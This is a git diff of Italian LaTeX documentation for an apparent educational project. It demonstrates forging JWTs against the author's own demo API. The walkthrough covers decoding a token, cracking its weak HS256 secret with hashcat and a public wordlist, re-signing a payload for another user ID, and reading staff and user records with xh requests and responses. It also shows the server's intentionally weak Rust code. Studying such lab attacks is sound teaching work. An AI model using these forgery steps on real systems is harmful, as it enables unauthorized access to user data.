summaryrefslogtreecommitdiff
path: root/docs
diff options
context:
space:
mode:
Diffstat (limited to 'docs')
-rw-r--r--docs/chapters/network.tex93
-rw-r--r--docs/chapters/setup.tex26
-rw-r--r--docs/data/jwt.pngbin122658 -> 138807 bytes
-rw-r--r--docs/data/termshark-get-users.pngbin378681 -> 435628 bytes
-rw-r--r--docs/data/termshark-post.pngbin291657 -> 272311 bytes
-rw-r--r--docs/refs.bib4
6 files changed, 92 insertions, 31 deletions
diff --git a/docs/chapters/network.tex b/docs/chapters/network.tex
index 60bf08d..4b59370 100644
--- a/docs/chapters/network.tex
+++ b/docs/chapters/network.tex
@@ -45,24 +45,45 @@ Nella Figura 4.3 si vede ciò. Per copiare la riga bisogna entrare in modalità
\begin{lstlisting}
[Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.
-eyJ1c2VyX2lkIjoxLCJleHAiOjE2NjkyODI4NzJ9.
-nFImsJOF-LQ9QIkrOYzIAHeZtEnLkzg4RD_kjqcJc3s\r\n]
+eyJ1c2VyX2lkIjoxLCJleHAiOjE2NzAwNjY2MzR9.
+byCNHix2XJtWx_dTOljxV45xrsl1hCXD1hj9oNwNjA4\r\n]
\end{lstlisting}
Decodificando il payload si vedrà
\begin{lstlisting}
-$ echo "eyJ1c2VyX2lkIjoxLCJleHAiOjE2NjkyODI4NzJ9" | base64 -d
-{"user_id":1,"exp":1669282872}
+$ echo "eyJ1c2VyX2lkIjoxLCJleHAiOjE2NzAwNjY2MzR9" | base64 -d
+{"user_id":1,"exp":1670066634}
\end{lstlisting}
+Se volessimo vedere i dati di un utente diverso, come ad esempio l'utente 2, dovremmo richiamare
+\begin{lstlisting}
+xh http://m6ie.demo.dcariotti.me/v1/users/2
+ Authorization:"Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.
+ eyJ1c2VyX2lkIjoxLCJleHAiOjE2NzAwNjY2MzR9.
+ byCNHix2XJtWx_dTOljxV45xrsl1hCXD1hj9oNwNjA4"
+HTTP/1.1 401 Unauthorized
+Access-Control-Allow-Origin: *
+Connection: keep-alive
+Content-Length: 37
+Content-Type: application/json
+Date: Mon, 21 Nov 2022 03:20:00 GMT
+Server: nginx
+Vary: origin
+
+{
+ "error": "Can't perform this action"
+}
+\end{lstlisting}
+Questo è quello che ci aspettavamo, perché l'utente con id 1 non è uno staffer, ma non ci dà la sicurezza che l'utente con id 2 sia un utente esistente.
+
\section{Attacco all'autorizazzione}
Ricreiamo un payload valido ma con differente "user\_id".
\begin{lstlisting}
-$ echo '{"user_id":2,"exp":1669282872}' | base64
-eyJ1c2VyX2lkIjoyLCJleHAiOjE2NjkyODI4NzJ9Cg==
+$ echo '{"user_id":2,"exp":1670066634}' | base64
+eyJ1c2VyX2lkIjoyLCJleHAiOjE2NzAwNjY2MzR9Cg==
$ # Il padding "Cg==" va rimosso da JWT
\end{lstlisting}
@@ -70,16 +91,16 @@ $ # Il padding "Cg==" va rimosso da JWT
Usiamo un software che permette di fare chiamate HTTP come xh\footnote{https://github.com/ducaale/xh} e vediamo come questo nuovo payload non funzioni, proprio perché l'ultima parte non è stata ancora ricalcolata.
\begin{lstlisting}
-xh http://m6ie.demo.dcariotti.me/v1/users/me
+xh http://m6ie.demo.dcariotti.me/v1/users
Authorization:"Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9
- .eyJ1c2VyX2lkIjoyLCJleHAiOjE2NjkyODI4NzJ9
+ .eyJ1c2VyX2lkIjoyLCJleHAiOjE2NzAwNjY2MzR9
.nFImsJOF-LQ9QIkrOYzIAHeZtEnLkzg4RD_kjqcJc3s"
HTTP/1.1 400 Bad Request
Access-Control-Allow-Origin: *
Connection: keep-alive
Content-Length: 25
Content-Type: application/json
-Date: Tue, 22 Nov 2022 03:24:00 GMT
+Date: Mon, 21 Nov 2022 03:24:00 GMT
Server: nginx
Vary: origin
@@ -99,13 +120,13 @@ Per crackare la password usando Hashcat bisogna dare in input il parametro dell'
$ hashcat -m 16500 my-secret.dat jwt-secrets-list.dat
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9
-.eyJ1c2VyX2lkIjoxLCJleHAiOjE2NjkyODI4NzJ9
-.nFImsJOF-LQ9QIkrOYzIAHeZtEnLkzg4RD_kjqcJc3s:hello
+.eyJ1c2VyX2lkIjoxLCJleHAiOjE2NzAwNjY2MzR9
+.byCNHix2XJtWx_dTOljxV45xrsl1hCXD1hj9oNwNjA4:hello
Session..........: hashcat
Status...........: Cracked
Hash.Type........: JWT (JSON Web Token)
-Hash.Target......: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIj...qcJc3s
+Hash.Target......: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIj...NwNjA4
\end{lstlisting}
Qui vediamo come sia riuscito a trovare il secret, ovvero la stringa \emph{hello}.
@@ -113,37 +134,63 @@ Qui vediamo come sia riuscito a trovare il secret, ovvero la stringa \emph{hello
\subsection{Creazione token valido}
Usando queste informazioni possiamo sfruttare il sopracitato sito web \underline{jwt.io} per la creazione di un token valido.
+Usando questo nuovo token codificato per fare la chiamata, possiamo riprovare la chiamata che era fallita prima.
+
+\begin{lstlisting}
+$ xh http://m6ie.demo.dcariotti.me/v1/users
+ Authorization:"Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9
+ .eyJ1c2VyX2lkIjoyLCJleHAiOjE2NzAwNjY2MzR9
+ .n-j1mzCUGNs7lz8ZXKgi6gBOsE3MiWZcaC8NIWxSexU"
+HTTP/1.1 200 OK
+Access-Control-Allow-Origin: *
+Connection: keep-alive
+Content-Length: 106
+Content-Type: application/json
+Date: Mon, 21 Nov 2022 03:30:19 GMT
+Server: nginx
+Vary: origin
+
+{
+ "id": 2,
+ "name": "Luke Skywalker",
+ "email": "luke@disney.com",
+ "username": "luke",
+ "is_staff": true,
+ "avatar": null
+}
+\end{lstlisting}
+
\begin{figure}[h]
\centering
\includegraphics[width=0.75\textwidth]{data/jwt}
\caption{Screenshot di Jwt.io}
\end{figure}
-Usando questo nuovo token codificato per fare la chiamata, possiamo riprovare la chiamata che era fallita prima.
+Questo perché, come avevamo dato per assodato prima, molti backend si fidano ciecamente del fatto che il token JWT inviato sia valido e quindi restituiscono la risorsa.
+Per caso abbiamo trovato che l'utente con id uguale a 2 è uno staffer, quindi possiamo riutilizzare questo token anche per avere i dati degli altri utenti. Infatti possiamo utilizzarlo anche per l'utente di prima (o altri).
\begin{lstlisting}
-$ xh http://m6ie.demo.dcariotti.me/v1/users/me
+$ xh http://m6ie.demo.dcariotti.me/v1/users/1
Authorization:"Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9
- .eyJ1c2VyX2lkIjoyLCJleHAiOjE2NjkyODI4NzJ9
- .rUXPmYWp2U5B2614Ojen1Il_5yR3D5InYCAFAeaxUmw"
+ .eyJ1c2VyX2lkIjoyLCJleHAiOjE2NzAwNjY2MzR9
+ .n-j1mzCUGNs7lz8ZXKgi6gBOsE3MiWZcaC8NIWxSexU"
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Connection: keep-alive
Content-Length: 106
Content-Type: application/json
-Date: Tue, 22 Nov 2022 03:30:19 GMT
+Date: Mon, 21 Nov 2022 03:35:19 GMT
Server: nginx
Vary: origin
{
- "id": 2,
- "name": "Luke Skywalker",
- "email": "luke@disney.com",
- "username": "luke",
- "is_staff": true,
+ "id": 1,
+ "name": "Santo Cariotti",
+ "email": "santo@dcariotti.me",
+ "username": "sa",
+ "is_staff": false,
"avatar": null
}
\end{lstlisting}
-Questo perché, come avevamo dato per assodato prima, molti backend si fidano ciecamente del fatto che il token JWT inviato sia valido e quindi restituiscono la risorsa. \ No newline at end of file
diff --git a/docs/chapters/setup.tex b/docs/chapters/setup.tex
index 43aff83..fab0a4a 100644
--- a/docs/chapters/setup.tex
+++ b/docs/chapters/setup.tex
@@ -9,17 +9,31 @@ Imposteremo tutto il necessario per simulare l'attacco visto nel capitolo preced
\end{itemize}
\section{API}
-Nella realtà, come ad esempio l'API di Reddit \cite{REDDIT:1}, si espone un endpoint \emph{/api/v1/me/} dove \emph{v1} è la versione dell'API in cui si ritornano i dati per l'utente autenticato. E questa è una buona prassi, un endpoint che si può trovare più o meno in tutte le REST API.
-\textbf{Cosa proveremo a fare noi?} Proprio un'API che fa ciò, niente più e niente meno. Ci limiteremo però solo a controllare che il JWT passato è valido in modo da ritornare i dati dell'utente che noi pensiamo sia stato autorizzato.
+Prendendo ad esempio l'API REST di Github \cite{GITHUB:1}, si vede come, anche nella realtà, si usa un endpoint generale per visualizzare le informazioni di un determinato utente.
+
+\textbf{Cosa proveremo a fare noi?} Diamo per assodato che un utente è autorizzato a visualizzare quell'endpoint (e così anche i corrispettivi di PUT e DELETE) solo se è l'owner di quella risorsa o se ha permessi speciali: da staffer nel nostro caso.
\newline\newline
Il codice di questo servizio è presente al link \underline{\url{https://git.dcariotti.me/m6-ie/tree/server}}.
\newline\newline
-La parte incriminata è la route qui sotto. Qui si limita a ritornare la riga utente che corrisponde all'ID utente passato dall'header.
+La parte incriminata è la route qui sotto: controlla se l'utente dell'url è lo stesso del token di autorizzazione o altrimenti che l'utente dell'autorizazzione (il quale token è creato dal server) sia uno staffer.
\begin{lstlisting}
-async fn get_user(claims: Claims) -> Result<Json<UserList>, AppError> {
- match User::find_by_id(claims.user_id).await {
+async fn get_user(Path(user_id): Path<i32>, claims: Claims) -> Result<Json<UserList>, AppError> {
+ let claimed = match User::find_by_id(claims.user_id).await {
+ Ok(user) => user,
+ Err(_) => {
+ return Err(AppError::NotFound("User not found".to_string()));
+ }
+ };
+
+ if user_id != claimed.id {
+ if !(claimed.is_staff.unwrap()) {
+ return Err(AppError::Unauthorized);
+ }
+ }
+
+ match User::find_by_id(user_id).await {
Ok(user) => Ok(Json(user)),
Err(_) => Err(AppError::NotFound("User not found".to_string())),
}
@@ -33,7 +47,7 @@ let token_data = decode::<Claims>(bearer.token(), &KEYS.decoding, &Validation::d
.map_err(|_| AppError::InvalidToken)?;
\end{lstlisting}
-infatti il problema sta nell'inizializzazione della codifica/decodifica di JWT, in particolare quando definiamo il secret, dato che non fa un controllo della sicurezza di tale stringa.
+Il problema sta nell'inizializzazione della codifica/decodifica di JWT, in particolare quando definiamo il secret, dato che non fa un controllo della sicurezza di tale stringa.
\begin{lstlisting}
static KEYS: Lazy<Keys> = Lazy::new(|| {
diff --git a/docs/data/jwt.png b/docs/data/jwt.png
index 9db5939..0b19969 100644
--- a/docs/data/jwt.png
+++ b/docs/data/jwt.png
Binary files differ
diff --git a/docs/data/termshark-get-users.png b/docs/data/termshark-get-users.png
index 568cc9b..12c0d48 100644
--- a/docs/data/termshark-get-users.png
+++ b/docs/data/termshark-get-users.png
Binary files differ
diff --git a/docs/data/termshark-post.png b/docs/data/termshark-post.png
index 33a849d..199c07e 100644
--- a/docs/data/termshark-post.png
+++ b/docs/data/termshark-post.png
Binary files differ
diff --git a/docs/refs.bib b/docs/refs.bib
index 4227f01..561b769 100644
--- a/docs/refs.bib
+++ b/docs/refs.bib
@@ -64,8 +64,8 @@
@MISC{WIRESHARK:1,
HOWPUBLISHED="\url{https://www.wireshark.org/}"
}
-@MISC{REDDIT:1,
- HOWPUBLISHED="\url{https://www.reddit.com/dev/api#GET_api_v1_me}"
+@MISC{GITHUB:1,
+ HOWPUBLISHED="\url{https://docs.github.com/en/rest/users/users?apiVersion=2022-11-28#get-a-user}"
}
@MISC{JWT_SECRET_LIST:1,
HOWPUBLISHED="\url{https://raw.githubusercontent.com/wallarm/jwt-secrets/master/jwt.secrets.list}"